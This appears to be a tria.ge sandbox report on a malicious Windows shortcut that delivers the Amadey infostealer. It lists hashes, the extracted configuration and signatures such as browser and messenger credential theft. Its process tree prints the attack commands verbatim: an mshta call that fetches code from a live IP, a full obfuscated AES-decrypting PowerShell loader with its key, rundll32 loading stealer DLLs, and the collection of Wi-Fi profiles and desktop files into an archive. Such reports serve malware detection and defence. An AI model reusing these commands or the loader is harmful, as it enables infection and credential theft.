Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/03/2024, 01:24

General

  • Target

    9117d5485e8365053ebc055eec3a439df927985113bf15f4607daf7bc04c5b7b.lnk

  • Size

    1KB

  • MD5

    285e3fe042f687b463de137779ecb33d

  • SHA1

    8b3aa13104920abc0eef34d720058f9ac120a680

  • SHA256

    9117d5485e8365053ebc055eec3a439df927985113bf15f4607daf7bc04c5b7b

  • SHA512

    9f0aebf5fb225623e8a9f2e7ecf7bed5b5a44b6c78076b1b4551e1e3ed73e8ebc8dbd276c4d07c2aa4b665273c26b3bdffd839252ca82f1e5f6e4b94a69e4e04

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.246.138.48/qqeng

Extracted

Family

amadey

Version

4.18

Attributes
  • install_dir

    154561dcbf

  • install_file

    Dctooux.exe

  • strings_key

    2cd47fa043c815e1a033c67832f3c6a5

  • url_paths

    /j4Fvskd3/index.php

rc4.plain

Extracted

Family

amadey

Version

4.18

Attributes
  • strings_key

    2cd47fa043c815e1a033c67832f3c6a5

  • url_paths

    /j4Fvskd3/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 26 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\9117d5485e8365053ebc055eec3a439df927985113bf15f4607daf7bc04c5b7b.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:752
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://92.246.138.48/qqeng
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3096
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        start mshta http://92.246.138.48/qqeng
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" http://92.246.138.48/qqeng
          4⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:764
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function OMmgb($ivjUY){return -split ($ivjUY -replace '..', '0x$& ')};$cNoqKl = OMmgb('467742412C6E76D04ACFF57089F1D5A58C066EA20123EE34DEE09851173098617D5EEBED087BC4479CED82C7578387E7FB5E1EBFDCAC90C105BD0ECCE6A6CE5D5260991036554956D860695F00628D882B5D1AA66AA795B4D877F8227FB645D101D9FAD454EAAA713F4C22D42B41EA6DA20EF6DC7712B648EA3EF3FE65C449CCF2AC65F8E23981D350E9755FD693077373644939E5919F224EB842EE1FAF714AD3F018AA6DE6184FCBE222FCB1E9A7ED145955D3FBE586ACC92BF16907B1CB811566E75D0A7D3EE3B899CA4E7C316E04AC42D1A75E90E30060EA7C67D4CF8A2AC854A1D60D21BC20635DCAF3A493C386EB72CA1D5E631B587F29A14259100DE67ACF083844D98A572491545D4E037CEDC9CBFED1B5683FA5832111588DCF715EF2E1D9D59EAE60CAF78D9FD028C079B4D2FA0C04B87749415A7B02B43DB8C4BE22C99C531DB5470AA3D288069F2E525A6D7C9001BAA291AF89D5D9C113C02E71F52DA913D02FA19A7965CA0968F71470D506125B93330E5B7FE3629359B7293CCDEF7A980DA9577FEB2A56CE60DC2484EA7A1DD5B321F604D797A19D6BD7453069F3123BFB95470ABA915920AE40381890A2814C256EBA7EAB4C35B0C8C05FF3353B555CEE50C1BC3101624A22B8250AB59259523E08237F939419E12B8ABA6A79F375950E5FC7C8DB0F64FBA4A0145C4A4294D5215D8BE2CEE452203A53CBFF8595DB21EB9151F3DF60732E194FEE32F300E14D09454009075F68585D04CA9FBC2E196314C6EC16203E70CFC8F43C36B81282E38DB0B6C34383927D14BDA5E6ACEB06F5245D8CC46292C0653142BF6B80B269CC9FCBAEC040575C6021E2CD503D000B7B53EB7F56C2ABDBE679931720A55E95A9E005703393FA3072530F4FF36FEB27DBAAC6CFD5ACCB759C268AAA4905A521AD162F0F3351D5DF02EE209E33501CF24368FFE6CA45BC6060F634A44D97A85E0632BD574D8B98E41EE4061B8816FE1CDC3076DAE7D22EB0BB56F6A4D856C7CB9BC1BD140E5C14CBC5E291F475F43CFD725A2A93F84BD8869F8B10F4A74263DC73E3448F0B4DB51746511F6B8317EE38BB921B1CF361D874D630FC91B490100ABF04FA3578203F55233DC33D1D34710A7C6A4F0F85E4402C458BEC39DA969A3EB3001874713E4A8F40940C60AEC71A10E46184A6EF7EC6AC8A0E10DA71F1DF1A9BFC16A70741883F100446B9C8764807126C8A9869EA9D7E8A60C253442EBAAA6D09C5FF3C3F053B6217224F94AEE7C15AE39CC9D7749E977AD9E4787171C0EA3E480B161A9E7AFA24E794C9DA9AC42F5AC7328B6EDA37E2944EEC6CBD5CB1FAE16F4D21EDE46EDEA099962885FD42533982AA8CCD15A52A70E5F096084EFBC50CAAA6B87DBEBCB75FD683AF640F3818D34446EF8A1CDC8934E2834FF5BCE72A80A8545A8EC44EA042375E1EA55A894A60C1BB64FB4210FFAAA7687F955BDA7760DE2FFC7E57D6D2571F34E23940B4F792283B6FA3DA80F914E63F7DAD892775A7FB6D519FF01616E8ED666CA6029108330CCBCB5964FE37E0A56DCF2E479802612E8C2E5320051C200960F85BBF35A6D819B408FA8DAEC6542FCB50DE237F134BBABE87DF9FDE11FD006C6543A5D9A8B42AA257CB2F543C109614B3334F2481B877B2679DDDB3D3BF9A18DD12F2A2078FA9CB914CFE42BB2CC48D5E168FAC48990366F4316CA2DE93BA1B7322');$nofnS = [System.Security.Cryptography.Aes]::Create();$nofnS.Key = OMmgb('6E494F4472636653556E7A4B4D784E67');$nofnS.IV = New-Object byte[] 16;$iNQuNuvt = $nofnS.CreateDecryptor();$qzuHTnZFP = $iNQuNuvt.TransformFinalBlock($cNoqKl, 0, $cNoqKl.Length);$hhtCepXuN = [System.Text.Encoding]::Utf8.GetString($qzuHTnZFP);$iNQuNuvt.Dispose();& $hhtCepXuN.Substring(0,3) $hhtCepXuN.Substring(3)
            5⤵
            • Blocklisted process makes network request
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4416
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\students.pdf"
              6⤵
              • Checks processor information in registry
              • Modifies Internet Explorer settings
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3724
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                7⤵
                  PID:2968
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                  7⤵
                    PID:752
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                    7⤵
                      PID:4784
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                      7⤵
                        PID:2496
                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                        7⤵
                          PID:2380
                        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                          7⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1152
                          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=BB013481DD11B7CC1C2D925EFDE188FA --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                            8⤵
                              PID:412
                            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=0307DAB8430B7CCCA87F263161274A87 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=0307DAB8430B7CCCA87F263161274A87 --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
                              8⤵
                                PID:732
                              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=4FCC2947B13450BEFE3C89534796A45D --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=4FCC2947B13450BEFE3C89534796A45D --renderer-client-id=4 --mojo-platform-channel-handle=2160 --allow-no-sandbox-job /prefetch:1
                                8⤵
                                  PID:544
                                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B548B5418D099D073F54872B5E0DA4DF --mojo-platform-channel-handle=2556 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                  8⤵
                                    PID:4352
                                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=89019EB8E69C92E69A54C3A808A9CB66 --mojo-platform-channel-handle=1908 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                    8⤵
                                      PID:1652
                                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A9D3D3B69BB4E7319312A5C70BC91FBF --mojo-platform-channel-handle=2552 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                                      8⤵
                                        PID:1980
                                  • C:\Users\Admin\AppData\Local\Temp\update.exe
                                    "C:\Users\Admin\AppData\Local\Temp\update.exe"
                                    6⤵
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    • Drops file in Windows directory
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of WriteProcessMemory
                                    PID:1940
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 748
                                      7⤵
                                      • Program crash
                                      PID:1708
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 812
                                      7⤵
                                      • Program crash
                                      PID:1972
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 860
                                      7⤵
                                      • Program crash
                                      PID:1140
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 928
                                      7⤵
                                      • Program crash
                                      PID:2472
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 952
                                      7⤵
                                      • Program crash
                                      PID:3076
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 952
                                      7⤵
                                      • Program crash
                                      PID:944
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 1136
                                      7⤵
                                      • Program crash
                                      PID:4332
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 1176
                                      7⤵
                                      • Program crash
                                      PID:3816
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 1244
                                      7⤵
                                      • Program crash
                                      PID:4892
                                    • C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe
                                      "C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe"
                                      7⤵
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      PID:1544
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 556
                                        8⤵
                                        • Program crash
                                        PID:4852
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 564
                                        8⤵
                                        • Program crash
                                        PID:2064
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 572
                                        8⤵
                                        • Program crash
                                        PID:3860
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 788
                                        8⤵
                                        • Program crash
                                        PID:3372
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 872
                                        8⤵
                                        • Program crash
                                        PID:1464
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 908
                                        8⤵
                                        • Program crash
                                        PID:1512
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 908
                                        8⤵
                                        • Program crash
                                        PID:3768
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 948
                                        8⤵
                                        • Program crash
                                        PID:2268
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 956
                                        8⤵
                                        • Program crash
                                        PID:1852
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1072
                                        8⤵
                                        • Program crash
                                        PID:2628
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1080
                                        8⤵
                                        • Program crash
                                        PID:4852
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1132
                                        8⤵
                                        • Program crash
                                        PID:620
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1580
                                        8⤵
                                        • Program crash
                                        PID:1396
                                      • C:\Windows\SysWOW64\rundll32.exe
                                        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\cred64.dll, Main
                                        8⤵
                                        • Loads dropped DLL
                                        PID:4416
                                        • C:\Windows\system32\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\cred64.dll, Main
                                          9⤵
                                          • Blocklisted process makes network request
                                          • Loads dropped DLL
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:5052
                                          • C:\Windows\system32\netsh.exe
                                            netsh wlan show profiles
                                            10⤵
                                              PID:4360
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\808065738166_Desktop.zip' -CompressionLevel Optimal
                                              10⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3956
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\1000021011\blyat.dll, Main
                                          8⤵
                                          • Loads dropped DLL
                                          • Suspicious use of SetThreadContext
                                          PID:5288
                                          • C:\Windows\SysWOW64\rundll32.exe
                                            "C:\Windows\SysWOW64\rundll32.exe"
                                            9⤵
                                              PID:5132
                                          • C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe
                                            "C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe"
                                            8⤵
                                              PID:5372
                                            • C:\Windows\SysWOW64\rundll32.exe
                                              "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\clip64.dll, Main
                                              8⤵
                                              • Blocklisted process makes network request
                                              • Loads dropped DLL
                                              PID:5544
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1064
                                              8⤵
                                              • Program crash
                                              PID:5604
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1592
                                              8⤵
                                              • Program crash
                                              PID:6100
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 776
                                            7⤵
                                            • Program crash
                                            PID:1972
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1940 -ip 1940
                                1⤵
                                  PID:4300
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4036 --field-trial-handle=2292,i,2103142837140538807,15881446839139365070,262144 --variations-seed-version /prefetch:8
                                  1⤵
                                    PID:4316
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 1940 -ip 1940
                                    1⤵
                                      PID:3304
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1940 -ip 1940
                                      1⤵
                                        PID:4544
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1940 -ip 1940
                                        1⤵
                                          PID:4332
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 1940 -ip 1940
                                          1⤵
                                            PID:2228
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1940 -ip 1940
                                            1⤵
                                              PID:2392
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1940 -ip 1940
                                              1⤵
                                                PID:3972
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1940 -ip 1940
                                                1⤵
                                                  PID:2472
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1940 -ip 1940
                                                  1⤵
                                                    PID:2276
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1940 -ip 1940
                                                    1⤵
                                                      PID:1460
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1544 -ip 1544
                                                      1⤵
                                                        PID:1948
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1544 -ip 1544
                                                        1⤵
                                                          PID:3308
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1544 -ip 1544
                                                          1⤵
                                                            PID:4804
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1544 -ip 1544
                                                            1⤵
                                                              PID:2472
